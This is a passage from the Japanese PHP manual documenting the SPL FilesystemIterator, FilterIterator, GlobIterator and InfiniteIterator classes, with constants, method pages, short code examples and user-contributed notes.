const int CURRENT_AS_SELF = 16 ;
const int CURRENT_MODE_MASK = 240 ;
const int KEY_AS_PATHNAME = 0 ;
const int KEY_AS_FILENAME = 256 ;
const int FOLLOW_SYMLINKS = 512 ;
const int KEY_MODE_MASK = 3840 ;
const int NEW_CURRENT_AND_KEY = 256 ;
const int SKIP_DOTS = 4096 ;
const int UNIX_PATHS = 8192 ;
/* メソッド */
public __construct ( string $path , int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO | FilesystemIterator::SKIP_DOTS )
public current ( ) : mixed
public getFlags ( ) : int
public key ( ) : string
public next ( ) : void
public rewind ( ) : void
public setFlags ( int $flags = ? ) : void
/* 継承したメソッド */
public DirectoryIterator::current ( ) : DirectoryIterator
public DirectoryIterator::getATime ( ) : int
public DirectoryIterator::getBasename ( string $suffix = ? ) : string
public DirectoryIterator::getCTime ( ) : int
public DirectoryIterator::getExtension ( ) : string
public DirectoryIterator::getFilename ( ) : string
public DirectoryIterator::getGroup ( ) : int
public DirectoryIterator::getInode ( ) : int
public DirectoryIterator::getMTime ( ) : int
public DirectoryIterator::getOwner ( ) : int
public DirectoryIterator::getPath ( ) : string
public DirectoryIterator::getPathname ( ) : string
public DirectoryIterator::getPerms ( ) : int
public DirectoryIterator::getSize ( ) : int
public DirectoryIterator::getType ( ) : string
public DirectoryIterator::isDir ( ) : bool
public DirectoryIterator::isDot ( ) : bool
public DirectoryIterator::isExecutable ( ) : bool
public DirectoryIterator::isFile ( ) : bool
public DirectoryIterator::isLink ( ) : bool
public DirectoryIterator::isReadable ( ) : bool
public DirectoryIterator::isWritable ( ) : bool
public DirectoryIterator::key ( ) : string
public DirectoryIterator::next ( ) : void
public DirectoryIterator::rewind ( ) : void
public DirectoryIterator::seek ( int $position ) : void
public DirectoryIterator::__toString ( ) : string
public DirectoryIterator::valid ( ) : bool
}

定義済み定数

FilesystemIterator::CURRENT_AS_PATHNAME

FilesystemIterator::current() がパス名を返すようにします。

FilesystemIterator::CURRENT_AS_FILEINFO

FilesystemIterator::current() が SplFileInfo のインスタンスを返すようにします。

FilesystemIterator::CURRENT_AS_SELF

FilesystemIterator::current() が $this (FilesystemIterator) を返すようにします。

FilesystemIterator::CURRENT_MODE_MASK

FilesystemIterator::current() をマスクします。

FilesystemIterator::KEY_AS_PATHNAME

FilesystemIterator::key() がパス名を返すようにします。

FilesystemIterator::KEY_AS_FILENAME

FilesystemIterator::key() がファイル名を返すようにします。

FilesystemIterator::FOLLOW_SYMLINKS

RecursiveDirectoryIterator::hasChildren() がシンボリックリンクのリンク先をたどるようにします。

FilesystemIterator::KEY_MODE_MASK

FilesystemIterator::key() をマスクします。

FilesystemIterator::NEW_CURRENT_AND_KEY

FilesystemIterator::KEY_AS_FILENAME | FilesystemIterator::CURRENT_AS_FILEINFO と同じ。

FilesystemIterator::SKIP_DOTS

ドットファイル (. および ..) をスキップします。

FilesystemIterator::UNIX_PATHS

システムのデフォルトにかかわらず、Unix スタイルのスラッシュでパスをあらわすようにします。 コンストラクタから渡された path は変更されないことに注意しましょう。

変更履歴

バージョン | 説明
5.3.1 | FilesystemIterator::FOLLOW_SYMLINKS が追加されました。

目次

  • FilesystemIterator::__construct — 新しい filesystem イテレータを作成する
  • FilesystemIterator::current — 現在のファイル
  • FilesystemIterator::getFlags — 処理フラグを取得する
  • FilesystemIterator::key — 現在のファイルのキーを取得する
  • FilesystemIterator::next — 次のファイルに移動する
  • FilesystemIterator::rewind — 先頭に巻き戻す
  • FilesystemIterator::setFlags — 処理フラグを設定する

User Contributed Notes

ohcc at 163 dot com 09-Jun-2020 03:31
It's impossible to return dots (. and ..) by FilesystemIterator.
thedilab at gmail dot com 06-Oct-2015 03:13
DirectoryIterator returns virtual directories "." and ".." in a loop.
But FilesystemIterator ignores them.
paul at paulgarvin dot net 10-May-2014 03:08
You may be wondering, like I did, what is the difference between this class and DirectoryIterator?

When you iteterate using DirectoryIterator each "value" returned is the same DirectoryIterator object. The internal state is changed so when you call isDir(), getPathname(), etc the correct information is returned. If you were to ask for a key when iterating you will get an integer index value.

FilesystemIterator (and RecursiveDirectoryIterator) on the other hand returns a new, different SplFileInfo object for each iteration step. The key is the full pathname of the file. This is by default. You can change what is returned for the key or value using the "flags" arguement to the constructor.


新しい filesystem イテレータを作成する

  • ≪ FilesystemIterator
  • FilesystemIterator::current ≫
  • PHP Manual
  • FilesystemIterator
  • 新しい filesystem イテレータを作成する

FilesystemIterator::__construct

(PHP 5 >= 5.3.0, PHP 7)

FilesystemIterator::__construct — 新しい filesystem イテレータを作成する

説明

public FilesystemIterator::__construct ( string $path , int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO | FilesystemIterator::SKIP_DOTS )

新しい filesystem イテレータを path から作成します。

パラメータ

path

反復処理したいファイルシステム上のアイテムへのパス。

flags

フラグを指定すると、いくつかのメソッドの振る舞いを変更することができます。 フラグの一覧は FilesystemIterator の定義済み定数 を参照ください。これは、あとで FilesystemIterator::setFlags() で設定することもできます。

注意:

FilesystemIterator::SKIP_DOTS は常に設定されるため、削除できません。

返り値

値を返しません。

エラー / 例外

path が見つからない場合に UnexpectedValueException をスローします。

例

例1 FilesystemIterator::__construct() の例

<?php
$it = new FilesystemIterator(dirname(__FILE__));
foreach ($it as $fileinfo) {
    echo $fileinfo->getFilename() . "\n";
}
?>

上の例の出力は以下となります。

apples.jpg
banana.jpg
example.php

参考

  • FilesystemIterator::setFlags() - 処理フラグを設定する
  • DirectoryIterator::__construct() - パスから新規ディレクトリイテレータを生成する

User Contributed Notes

There are no user contributed notes for this page.


現在のファイル

  • ≪ FilesystemIterator::__construct
  • FilesystemIterator::getFlags ≫
  • PHP Manual
  • FilesystemIterator
  • 現在のファイル

FilesystemIterator::current

(PHP 5 >= 5.3.0, PHP 7)

FilesystemIterator::current — 現在のファイル

説明

public FilesystemIterator::current ( ) : mixed

現在の要素のファイル情報を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

設定されているフラグに応じ、ファイル名、ファイル情報あるいは $this を返します。 FilesystemIterator の定数 を参照ください。

例

例1 FilesystemIterator::current() の例

この例は、スクリプトを含むディレクトリの中身を一覧表示します。

<?php
$iterator = new FilesystemIterator(__DIR__, FilesystemIterator::CURRENT_AS_PATHNAME);
foreach ($iterator as $fileinfo) {
    echo $iterator->current() . "\n";
}
?>

上の例の出力は、 たとえば以下のようになります。

/www/examples/apple.jpg
/www/examples/banana.jpg
/www/examples/example.php

参考

  • FilesystemIterator 定数
  • DirectoryIterator::current() - 現在の DirectoryIterator アイテムを返す
  • DirectoryIterator::getFileName() - 現在の DirectoryIterator アイテムのファイル名を返す

User Contributed Notes

There are no user contributed notes for this page.


処理フラグを取得する

  • ≪ FilesystemIterator::current
  • FilesystemIterator::key ≫
  • PHP Manual
  • FilesystemIterator
  • 処理フラグを取得する

FilesystemIterator::getFlags

(PHP 5 >= 5.3.0, PHP 7)

FilesystemIterator::getFlags — 処理フラグを取得する

説明

public FilesystemIterator::getFlags ( ) : int

FilesystemIterator::__construct() あるいは FilesystemIterator::setFlags() で設定した処理フラグを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

設定されているフラグの値を返します。

参考

  • FilesystemIterator::__construct() - 新しい filesystem イテレータを作成する
  • FilesystemIterator::setFlags() - 処理フラグを設定する

User Contributed Notes

There are no user contributed notes for this page.


現在のファイルのキーを取得する

  • ≪ FilesystemIterator::getFlags
  • FilesystemIterator::next ≫
  • PHP Manual
  • FilesystemIterator
  • 現在のファイルのキーを取得する

FilesystemIterator::key

(PHP 5 >= 5.3.0, PHP 7)

FilesystemIterator::key — 現在のファイルのキーを取得する

説明

public FilesystemIterator::key ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

設定されているフラグに応じてパス名あるいはファイル名を返します。 FilesystemIterator の定数 も参照ください。

例

例1 FilesystemIterator::key() の例

この例は、スクリプトを含むディレクトリの中身を一覧表示します。

<?php
$iterator = new FilesystemIterator(dirname(__FILE__), FilesystemIterator::KEY_AS_FILENAME);
foreach ($iterator as $fileinfo) {
    echo $iterator->key() . "\n";
}
?>

上の例の出力は、 たとえば以下のようになります。

apple.jpg
banana.jpg
example.php

参考

  • FilesystemIterator 定数
  • DirectoryIterator::key() - 現在の DirectoryIterator アイテムのキーを返す
  • DirectoryIterator::getFilename() - 現在の DirectoryIterator アイテムのファイル名を返す
  • DirectoryIterator::getPathname() - 現在の DirectoryIterator アイテムのパスとファイル名を返す

User Contributed Notes

There are no user contributed notes for this page.


次のファイルに移動する

  • ≪ FilesystemIterator::key
  • FilesystemIterator::rewind ≫
  • PHP Manual
  • FilesystemIterator
  • 次のファイルに移動する

FilesystemIterator::next

(PHP 5 >= 5.3.0, PHP 7)

FilesystemIterator::next — 次のファイルに移動する

説明

public FilesystemIterator::next ( ) : void

次のファイルに移動します。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

例

例1 FilesystemIterator::next() の例

ディレクトリの中身を while ループで一覧表示します。

<?php
$iterator = new FilesystemIterator(dirname(__FILE__));
while($iterator->valid()) {
    echo $iterator->getFilename() . "\n";
    $iterator->next();
}
?>

上の例の出力は、 たとえば以下のようになります。

apple.jpg
banana.jpg
example.php

参考

  • DirectoryIterator::next() - 次の DirectoryIterator アイテムに移動する

User Contributed Notes

There are no user contributed notes for this page.


先頭に巻き戻す

  • ≪ FilesystemIterator::next
  • FilesystemIterator::setFlags ≫
  • PHP Manual
  • FilesystemIterator
  • 先頭に巻き戻す

FilesystemIterator::rewind

(PHP 5 >= 5.3.0, PHP 7)

FilesystemIterator::rewind — 先頭に巻き戻す

説明

public FilesystemIterator::rewind ( ) : void

ディレクトリを先頭に巻き戻します。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

例

例1 FilesystemIterator::rewind() の例

<?php
$iterator = new FilesystemIterator(dirname(__FILE__), FilesystemIterator::KEY_AS_FILENAME);

echo $iterator->key() . "\n";

$iterator->next();
echo $iterator->key() . "\n";

$iterator->rewind();
echo $iterator->key() . "\n";
?>

上の例の出力は、 たとえば以下のようになります。

apple.jpg
banana.jpg
apple.jpg

参考

  • DirectoryIterator::rewind() - DirectoryIterator を最初に巻き戻す

User Contributed Notes

There are no user contributed notes for this page.


処理フラグを設定する

  • ≪ FilesystemIterator::rewind
  • FilterIterator ≫
  • PHP Manual
  • FilesystemIterator
  • 処理フラグを設定する

FilesystemIterator::setFlags

(PHP 5 >= 5.3.0, PHP 7)

FilesystemIterator::setFlags — 処理フラグを設定する

説明

public FilesystemIterator::setFlags ( int $flags = ? ) : void

処理フラグを設定します。

パラメータ

flags

設定する処理フラグ。 FilesystemIterator の定数 も参照ください。

返り値

値を返しません。

例

例1 FilesystemIterator::key() の例

この例は、フラグ FilesystemIterator::KEY_AS_PATHNAME と FilesystemIterator::KEY_AS_FILENAME の違いを示します。

<?php
$iterator = new FilesystemIterator(dirname(__FILE__), FilesystemIterator::KEY_AS_PATHNAME);
echo "Key as Pathname:\n";
foreach ($iterator as $key => $fileinfo) {
    echo $key . "\n";
}

$iterator->setFlags(FilesystemIterator::KEY_AS_FILENAME);
echo "\nKey as Filename:\n";
foreach ($iterator as $key => $fileinfo) {
    echo $key . "\n";
}
?>

上の例の出力は、 たとえば以下のようになります。

Key as Pathname:
/www/examples/apple.jpg
/www/examples/banana.jpg
/www/examples/example.php

Key as Filename:
apple.jpg
banana.jpg
example.php

参考

  • FilesystemIterator::__construct() - 新しい filesystem イテレータを作成する
  • FilesystemIterator::getFlags() - 処理フラグを取得する

User Contributed Notes

There are no user contributed notes for this page.


FilterIterator クラス

(PHP 5 >= 5.1.0, PHP 7)

はじめに

この抽象イテレータは、望まざる値をフィルタリングします。 独自のイテレータフィルタを実装するには、このクラスを継承しなければなりません。 また、サブクラスでは FilterIterator::accept() を実装する必要があります。

クラス概要

abstract FilterIterator extends IteratorIterator implements OuterIterator {
/* メソッド */
public abstract accept ( ) : bool
public __construct ( Iterator $iterator )
public current ( ) : mixed
public getInnerIterator ( ) : Iterator
public key ( ) : mixed
public next ( ) : void
public rewind ( ) : void
public valid ( ) : bool
}

目次

  • FilterIterator::accept — イテレータの現在の要素がフィルタを満たすかどうかを調べる
  • FilterIterator::__construct — filterIterator を作成する
  • FilterIterator::current — 現在の要素の値を取得する
  • FilterIterator::getInnerIterator — 内部イテレータを取得する
  • FilterIterator::key — 現在のキーを取得する
  • FilterIterator::next — イテレータを前に移動する
  • FilterIterator::rewind — イテレータを巻き戻す
  • FilterIterator::valid — 現在の要素が有効かどうかをチェックする

User Contributed Notes

Anonymous 27-May-2014 08:01
A little test about the function call order:

<?php

class TestIterator extends IteratorIterator
{
    public function key()
    {
        echo  __FUNCTION__, PHP_EOL;
        return parent::key();
    }

    public function next()
    {
        echo  __FUNCTION__, PHP_EOL;
        return parent::next();
    }

    public function rewind()
    {
        echo  __FUNCTION__, PHP_EOL;
        return parent::rewind();
    }

    public function valid()
    {
        echo  __FUNCTION__, PHP_EOL;
        return parent::valid();
    }
}

class TestFilterIterator extends FilterIterator
{
    public function accept()
    {
        echo  __FUNCTION__, PHP_EOL;
        return true;
    }
}

$iterator = new ArrayIterator(array('a', 'b', 'c'));

foreach (new TestFilterIterator(new TestIterator($iterator)) as $k => $v) {
    echo PHP_EOL;
}

?>

This will output the following:

rewind
valid
key
accept

next
valid
key
accept

next
valid
key
accept

next
valid
Venelin Vulkov 05-Nov-2008 12:36
The code below is a simple example of usage . Note that the method which does the actual job is accept.

<?php
class UserFilter extends FilterIterator
{
    private $userFilter;

    public function __construct(Iterator $iterator , $filter )
    {
        parent::__construct($iterator);
        $this->userFilter = $filter;
    }

    public function accept()
    {
        $user = $this->getInnerIterator()->current();
        if( strcasecmp($user['name'],$this->userFilter) == 0) {
            return false;
        }
        return true;
    }
}

$array = array(
array('name' => 'Jonathan','id' => '5'),
array('name' => 'Abdul' ,'id' => '22')
);

$object = new ArrayObject($array);

// Note it is case insensitive check in our example due the usage of strcasecmp function
$iterator = new UserFilter($object->getIterator(),'abdul');

foreach ($iterator as $result) {
    echo $result['name'];
}

/* Outputs Jonathan */

?>
Regards.


イテレータの現在の要素がフィルタを満たすかどうかを調べる

  • ≪ FilterIterator
  • FilterIterator::__construct ≫
  • PHP Manual
  • FilterIterator
  • イテレータの現在の要素がフィルタを満たすかどうかを調べる

FilterIterator::accept

(PHP 5 >= 5.1.0, PHP 7)

FilterIterator::accept — イテレータの現在の要素がフィルタを満たすかどうかを調べる

説明

public abstract FilterIterator::accept ( ) : bool

イテレータの現在の要素がこのフィルタを通過するかどうかを返します。

パラメータ

この関数にはパラメータはありません。

返り値

現在の要素が通過する場合に true、それ以外の場合に false を返します。

例

例1 FilterIterator::accept() の例

<?php
// このイテレータは、10 文字未満の値をすべてフィルタリングします
class LengthFilterIterator extends FilterIterator {

    public function accept() {
        // 長さが 10 文字以上の文字列のみを許可します
        return strlen(parent::current()) >= 10;
    }

}

$arrayIterator = new ArrayIterator(array('test1', 'more than 10 characters'));
$lengthFilter = new LengthFilterIterator($arrayIterator);

foreach ($lengthFilter as $value) {
    echo $value . "\n";
}
?>

上の例の出力は以下となります。

more than 10 characters

User Contributed Notes

There are no user contributed notes for this page.


filterIterator を作成する

  • ≪ FilterIterator::accept
  • FilterIterator::current ≫
  • PHP Manual
  • FilterIterator
  • filterIterator を作成する

FilterIterator::__construct

(PHP 5 >= 5.1.0, PHP 7)

FilterIterator::__construct — filterIterator を作成する

説明

public FilterIterator::__construct ( Iterator $iterator )

新しい FilterIterator を作成します。 これは、イテレータとそれに適用するフィルタで構成されています。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

iterator

フィルタリングの対象となるイテレータ。

返り値

FilterIterator を返します。

参考

  • LimitIterator::__construct() - LimitIterator を作成する

User Contributed Notes

michael dot kaefer1 at gmx dot at 30-Dec-2018 04:29
Usage example:

<?php

class AdultFilter extends \FilterIterator
{
    public function accept()
    {
        $person = $this->current();
        if (18 <= $person[1]) {
            return true;
        }
        return false;
    }
}

$persons = new \ArrayIterator([
    ['John', 27],
    ['Jack', 15],
    ['Jeff', 54],
]);

$adults = new AdultFilter($persons);

foreach ($adults as $adult) {
    var_dump($adult);
}


現在の要素の値を取得する

  • ≪ FilterIterator::__construct
  • FilterIterator::getInnerIterator ≫
  • PHP Manual
  • FilterIterator
  • 現在の要素の値を取得する

FilterIterator::current

(PHP 5 >= 5.1.0, PHP 7)

FilterIterator::current — 現在の要素の値を取得する

説明

public FilterIterator::current ( ) : mixed
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

現在の要素の値を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

現在の要素の値を返します。

参考

  • FilterIterator::key() - 現在のキーを取得する
  • FilterIterator::next() - イテレータを前に移動する

User Contributed Notes

There are no user contributed notes for this page.


内部イテレータを取得する

  • ≪ FilterIterator::current
  • FilterIterator::key ≫
  • PHP Manual
  • FilterIterator
  • 内部イテレータを取得する

FilterIterator::getInnerIterator

(PHP 5 >= 5.1.0, PHP 7)

FilterIterator::getInnerIterator — 内部イテレータを取得する

説明

public FilterIterator::getInnerIterator ( ) : Iterator
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

内部イテレータを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

内部イテレータを返します。

User Contributed Notes

There are no user contributed notes for this page.


現在のキーを取得する

  • ≪ FilterIterator::getInnerIterator
  • FilterIterator::next ≫
  • PHP Manual
  • FilterIterator
  • 現在のキーを取得する

FilterIterator::key

(PHP 5 >= 5.1.0, PHP 7)

FilterIterator::key — 現在のキーを取得する

説明

public FilterIterator::key ( ) : mixed
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

現在のキーを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

現在のキーを返します。

参考

  • FilterIterator::next() - イテレータを前に移動する
  • FilterIterator::current() - 現在の要素の値を取得する

User Contributed Notes

There are no user contributed notes for this page.


イテレータを前に移動する

  • ≪ FilterIterator::key
  • FilterIterator::rewind ≫
  • PHP Manual
  • FilterIterator
  • イテレータを前に移動する

FilterIterator::next

(PHP 5 >= 5.1.0, PHP 7)

FilterIterator::next — イテレータを前に移動する

説明

public FilterIterator::next ( ) : void
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

イテレータを前方に移動します。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • FilterIterator::current() - 現在の要素の値を取得する
  • FilterIterator::key() - 現在のキーを取得する

User Contributed Notes

There are no user contributed notes for this page.


イテレータを巻き戻す

  • ≪ FilterIterator::next
  • FilterIterator::valid ≫
  • PHP Manual
  • FilterIterator
  • イテレータを巻き戻す

FilterIterator::rewind

(PHP 5 >= 5.1.0, PHP 7)

FilterIterator::rewind — イテレータを巻き戻す

説明

public FilterIterator::rewind ( ) : void
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

イテレータを巻き戻します。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • FilterIterator::current() - 現在の要素の値を取得する
  • FilterIterator::key() - 現在のキーを取得する
  • FilterIterator::next() - イテレータを前に移動する

User Contributed Notes

There are no user contributed notes for this page.


現在の要素が有効かどうかをチェックする

  • ≪ FilterIterator::rewind
  • GlobIterator ≫
  • PHP Manual
  • FilterIterator
  • 現在の要素が有効かどうかをチェックする

FilterIterator::valid

(PHP 5 >= 5.1.0, PHP 7)

FilterIterator::valid — 現在の要素が有効かどうかをチェックする

説明

public FilterIterator::valid ( ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

現在の要素が有効かどうかをチェックします。

パラメータ

この関数にはパラメータはありません。

返り値

現在の要素が有効である場合に true、そうでない場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


GlobIterator クラス

(PHP 5 >= 5.3.0, PHP 7)

はじめに

ファイルシステムで、glob() と同じ形式の反復処理を行います。

クラス概要

GlobIterator extends FilesystemIterator implements SeekableIterator , Countable {
/* 継承した定数 */
const int FilesystemIterator::CURRENT_AS_PATHNAME = 32 ;
const int FilesystemIterator::CURRENT_AS_FILEINFO = 0 ;
const int FilesystemIterator::CURRENT_AS_SELF = 16 ;
const int FilesystemIterator::CURRENT_MODE_MASK = 240 ;
const int FilesystemIterator::KEY_AS_PATHNAME = 0 ;
const int FilesystemIterator::KEY_AS_FILENAME = 256 ;
const int FilesystemIterator::FOLLOW_SYMLINKS = 512 ;
const int FilesystemIterator::KEY_MODE_MASK = 3840 ;
const int FilesystemIterator::NEW_CURRENT_AND_KEY = 256 ;
const int FilesystemIterator::SKIP_DOTS = 4096 ;
const int FilesystemIterator::UNIX_PATHS = 8192 ;
/* メソッド */
public __construct ( string $pattern , int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO )
public count ( ) : int
/* 継承したメソッド */
public FilesystemIterator::__construct ( string $path , int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO | FilesystemIterator::SKIP_DOTS )
public FilesystemIterator::current ( ) : mixed
public FilesystemIterator::getFlags ( ) : int
public FilesystemIterator::key ( ) : string
public FilesystemIterator::next ( ) : void
public FilesystemIterator::rewind ( ) : void
public FilesystemIterator::setFlags ( int $flags = ? ) : void
}

目次

  • GlobIterator::__construct — glob を使うディレクトリを作成する
  • GlobIterator::count — ディレクトリやファイルの数を取得する

User Contributed Notes

info at ensostudio dot ru 09-Feb-2021 08:48
NOTE: "similar fashion to glob()" GlobIterator use  stream wrapper "glob://" = use glob()
info at ensostudio dot ru 28-Jul-2020 12:10
Fix problem with braces in template:
<?php
class GlobStreamWrapper
{
    private $generator;

    protected function createGenerator(array $paths): Generator
    {
        return yield from $paths;
    }

    public function dir_opendir(string $pattern, int $options = 0): bool
    {
        $pattern = substr($pattern, 7); // crop 'glob://' prefix
        $pattern = str_replace(['\\', '/'], DIRECTORY_SEPARATOR, $pattern);
        $paths = (array) glob($pattern, GLOB_BRACE | GLOB_NOSORT);
        $this->generator = $this->createGenerator($paths);
        return $this->generator->valid();
    }

    public function dir_readdir(): string
    {
        $path = $this->generator->current() ?: '';
        $this->generator->next();
        return $path;
    }

    public function dir_rewinddir(): bool
    {
       $this->generator->rewind();
        return $this->generator->valid();
    }

    public function dir_closedir(): bool
    {
        $this->generator = null;
        return true;
    }
}
?>
Replace glob wrapper:
<?php
stream_wrapper_unregister('glob');
stream_wrapper_register('glob', 'GlobStreamWrapper');
?>
Example:
<?php
$iterator = new GlobIterator(__DIR__ . '/{application,system}/src/*.php');
while ($iterator->valid()) {
    echo $iterator->current()->getFilename() . '</br>';
    $iterator->next();
}
?>


glob を使うディレクトリを作成する

  • ≪ GlobIterator
  • GlobIterator::count ≫
  • PHP Manual
  • GlobIterator
  • glob を使うディレクトリを作成する

GlobIterator::__construct

(PHP 5 >= 5.3.0, PHP 7)

GlobIterator::__construct — glob を使うディレクトリを作成する

説明

public GlobIterator::__construct ( string $pattern , int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO )

glob 式から新しいディレクトリイテレータを作成します。

パラメータ

pattern

glob() 関数に渡すパターン

flags

オプションのフラグ。 FilesystemIterator 定数のビットマスクとなります。

例

例1 GlobIterator の例

<?php
$iterator = new GlobIterator('*.dll', FilesystemIterator::KEY_AS_FILENAME);

if (!$iterator->count()) {
    echo 'No matches';
} else {
    $n = 0;

    printf("Matched %d item(s)\r\n", $iterator->count());

    foreach ($iterator as $item) {
        printf("[%d] %s\r\n", ++$n, $iterator->key());
    }
}
?>

上の例の出力は、 たとえば以下のようになります。

Matched 2 item(s)
[1] php5ts.dll
[2] php_gd2.dll

参考

  • DirectoryIterator::__construct() - パスから新規ディレクトリイテレータを生成する
  • GlobIterator::count() - ディレクトリやファイルの数を取得する
  • glob() - パターンにマッチするパス名を探す

User Contributed Notes

info at ensostudio dot ru 28-Jul-2020 12:30
Fix problem with braces in template:
<?php
class GlobStreamWrapper
{
    private $generator;

    protected function createGenerator(array $paths): Generator
    {
        return yield from $paths;
    }

    public function dir_opendir(string $pattern, int $options = 0): bool
    {
        $pattern = substr($pattern, 7); // crop 'glob://' prefix
        $pattern = str_replace(['\\', '/'], DIRECTORY_SEPARATOR, $pattern);
        $paths = (array) glob($pattern, GLOB_BRACE | GLOB_NOSORT);
        $this->generator = $this->createGenerator($paths);
        return $this->generator->valid();
    }

    public function dir_readdir(): string
    {
        $path = $this->generator->current() ?: '';
        $this->generator->next();
        return $path;
    }

    public function dir_rewinddir(): bool
    {
       $this->generator->rewind();
        return $this->generator->valid();
    }

    public function dir_closedir(): bool
    {
        $this->generator = null;
        return true;
    }
}
?>
Replace glob wrapper:
<?php
stream_wrapper_unregister('glob');
stream_wrapper_register('glob', 'GlobStreamWrapper');
?>
Example:
<?php
$iterator = new GlobIterator(__DIR__ . '/{application,system}/src/*.php');
while ($iterator->valid()) {
    echo $iterator->current()->getFilename() . '</br>';
    $iterator->next();
}
?>
ozana at omdesign dot cz 29-Mar-2014 10:08
GlobIterator doesn't have a way to support GLOB_BRACE!

<?php
$iterator = new GlobIterator(getcwd. '/*.{php,txt}'); // generate an empty array
?>


ディレクトリやファイルの数を取得する

  • ≪ GlobIterator::__construct
  • InfiniteIterator ≫
  • PHP Manual
  • GlobIterator
  • ディレクトリやファイルの数を取得する

GlobIterator::count

(PHP 5 >= 5.3.0, PHP 7)

GlobIterator::count — ディレクトリやファイルの数を取得する

説明

public GlobIterator::count ( ) : int

glob 式から見つかったディレクトリやファイルの数を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

返されたディレクトリやファイルの数を int で返します。

例

例1 GlobIterator::count() の例

<?php
$iterator = new GlobIterator('*.xml');

printf("Matched %d item(s)\r\n", $iterator->count());
?>

上の例の出力は、 たとえば以下のようになります。

Matched 8 item(s)

参考

  • GlobIterator::__construct() - glob を使うディレクトリを作成する
  • count() - 変数に含まれるすべての要素、 あるいはオブジェクトに含まれる何かの数を数える
  • glob() - パターンにマッチするパス名を探す

User Contributed Notes

TwystO 05-Jul-2016 10:49
As stated here https://bugs.php.net/bug.php?id=55701 the count() method can lead to errors.

For example this won't works if no files are found in the target directory :

<?php
$iterator = new \GlobIterator($ftpDirectory . '/*.*', FilesystemIterator::KEY_AS_FILENAME);

if($iterator->count()) {
    foreach($iterator as $filePath) {
        // do some stuff ...
    }
}
?>

A workaround to this bug could be :

<?php
foreach(new \GlobIterator($ftpDirectory . '/*.*', FilesystemIterator::KEY_AS_FILENAME) as $filePath) {
    // do some stuff ...
}
?>


InfiniteIterator クラス

(PHP 5 >= 5.1.0, PHP 7)

はじめに

InfiniteIterator は、 他のイテレータを受け取って無限に反復させます。 最後までたどり着いたときに手動で巻き戻す必要はありません。

クラス概要

InfiniteIterator extends IteratorIterator implements OuterIterator {
/* メソッド */
public __construct ( Iterator $iterator )
public next ( ) : void
/* 継承したメソッド */
public IteratorIterator::__construct ( Traversable $iterator )
public IteratorIterator::current ( ) : mixed
public IteratorIterator::getInnerIterator ( ) : Traversable
public IteratorIterator::key ( ) : mixed
public IteratorIterator::next ( ) : void
public IteratorIterator::rewind ( ) : void
public IteratorIterator::valid ( ) : bool
}

目次

  • InfiniteIterator::__construct — InfiniteIterator を作成する
  • InfiniteIterator::next — 内部イテレータを次に移動するか、巻き戻す

User Contributed Notes

vascowhite at gmail dot com 04-Jun-2013 01:54
It is important to realise that rewind() must be called on any iterator before using it or you may experience undefined behaviour, see example code and output here http://3v4l.org/rvNpU

See this bug report https://bugs.php.net/bug.php?id=63823&edit=2 for a fuller explanation.
Anonymous 16-Oct-2012 12:47
to loop through object keys and reset to the start, try this:
<?php

$obj = new stdClass();
$obj->Mon = "Monday";
$obj->Tue = "Tuesday";
$obj->Wed = "Wednesday";
$obj->Thu = "Thursday";
$obj->Fri = "Friday";
$obj->Sat = "Saturday";
$obj->Sun = "Sunday";

$infinate = new InfiniteIterator(new ArrayIterator($obj));
foreach ( new LimitIterator($infinate, 0, 14) as $value ) {
    print($value . PHP_EOL);
}

?>

will output:

Monday
Tuesday
Wednesday
Thursday
Friday
Saturday
Sunday
Monday
Tuesday
Wednesday
Thursday
Friday
Saturday
Sunday

Can be useful when doing date operations or recurring events


InfiniteIterator を作成する

  • ≪ InfiniteIterator
  • InfiniteIterator::next ≫
  • PHP Manual
  • InfiniteIterator
  • InfiniteIterator を作成する

InfiniteIterator::__construct

(PHP 5 >= 5.1.0, PHP 7)

InfiniteIterator::__construct — InfiniteIterator を作成する

説明

public InfiniteIterator::__construct ( Iterator $iterator )

イテレータから InfiniteIterator を作成します。

パラメータ

iterator

無限に処理し続けるイテレータ。

返り値

値を返しません。

エラー / 例外

iterator にイテレータ以外を渡したときに E_RECOVERABLE_ERROR をスローします。

例

例1 InfiniteIterator::__construct() の例

<?php
$arrayit  = new ArrayIterator(array('cat','dog'));
$infinite = new InfiniteIterator($arrayit);
$limit    = new LimitIterator($infinite, 0, 7);
foreach($limit as $value)
{
    echo "$value\n";
}
?>

上の例の出力は以下となります。

cat
dog
cat
dog
cat
dog
cat

参考

  • InfiniteIterator::next() - 内部イテレータを次に移動するか、巻き戻す

User Contributed Notes

There are no user contributed notes for this page.


内部イテレータを次に移動するか、巻き戻す

  • ≪ InfiniteIterator::__construct
  • IteratorIterator ≫
  • PHP Manual
  • InfiniteIterator
  • 内部イテレータを次に移動するか、巻き戻す

InfiniteIterator::next

(PHP 5 >= 5.1.0, PHP 7)

InfiniteIterator::next — 内部イテレータを次に移動するか、巻き戻す

説明

